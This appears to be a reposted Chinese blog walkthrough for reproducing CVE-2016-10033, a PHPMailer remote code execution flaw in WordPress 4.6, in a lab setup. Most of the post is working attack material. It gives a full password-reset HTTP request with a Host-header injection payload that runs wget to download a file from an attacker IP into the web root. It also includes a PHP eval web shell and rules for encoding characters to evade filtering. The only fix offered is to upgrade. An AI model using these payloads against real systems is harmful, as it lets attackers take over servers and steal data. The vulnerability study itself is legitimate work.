码迷,mamicode.com
首页 > 其他好文 > 详细

WordPress 4.6远程执行代码漏洞(PwnScriptum)CVE-2016-10033

时间:2020-07-07 10:23:21      阅读:91      评论:0      收藏:0      [点我收藏+]

标签:nec   stp   大量   输入   web根目录   close   cti   windows   使用   

0X01 漏洞介绍

WordPress 使用 PHPMailer 组件向用户发送邮件。PHPMailer(版本 < 5.2.18)存在远程命令执行漏洞,攻击者只需巧妙地构造出一个恶意邮箱地址,即可写入任意文件,造成远程命令执行的危害。

漏洞利用条件:

不能包含特殊字符

命令需为小写

命令需使用绝对路径

需要知道现有用户名

注意点:命令只在服务器端执行命令、不会显示在客户端

0x02 影响版本

WordPress <= 4.6   PHPMailer < 5.2.18

0x03 搭建环境

 vulhub环境

0x04 漏洞复现

漏洞出现在管理员的密码重置界面/wp-login.php?action=lostpassword:

在找回密码时WordPress会使用PHPmailer发送重置密码的邮件,这个时候PHPmailer<=5.2.18时存在RCE

此时在重置密码处输入用户名admin,然后使用BurpSuite抓包拦截,修改host的值:

POST /wp-login.php?action=lostpassword HTTP/1.1

Host: aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}192.168.43.216${substr{0}{1}{$spool_directory}}one.txt}} null)

Connection: close

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0

Accept: */*

Content-Length: 56

Content-Type: application/x-www-form-urlencoded

 

wp-submit=Get+New+Password&redirect_to=&user_login=admin

 

实际利用的过程中还需要注意一下几点:

1、执行的命令不能包含大量特殊字符比如 :、引号等等。

2、命令会被转换为小写字母

3、命令需要使用绝对路径

4、需要知道一个存在的用户名,比如admin

攻击机器开启web服务,ip/one.txt内容写入一句话木马:

<?php @eval($_POST[‘zksmile‘])?>

发送payload使目标靶机下载one.txt,并保存到web根目录下/var/www/html/shell.php:

aa(any -froot@localhost -be ${run{/usr/bin/wget --output-document /var/www/html/shell.php 172.18.0.1/zk/one.txt}} null)

==>

aa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}var${substr{0}{1}{$spool_directory}}www${substr{0}{1}{$spool_directory}}html${substr{0}{1}{$spool_directory}}shell.php${substr{10}{1}{$tod_log}}172.18.0.1${substr{0}{1}{$spool_directory}}zk${substr{0}{1}{$spool_directory}}one.txt}} null)

payload转换规则:

1.payload中run{}里面所有 / 用 ${substr{0}{1}{$spool_directory}} 代替

2.payload中run{}里面所有 空格 用 ${substr{10}{1}{$tod_log}} 代替

技术图片

 

 技术图片

 

 技术图片

0x05 修复方案

更新wordpress、phpmailer到最新版本

WordPress 4.6远程执行代码漏洞(PwnScriptum)CVE-2016-10033

标签:nec   stp   大量   输入   web根目录   close   cti   windows   使用   

原文地址:https://www.cnblogs.com/huasheng333/p/13258863.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!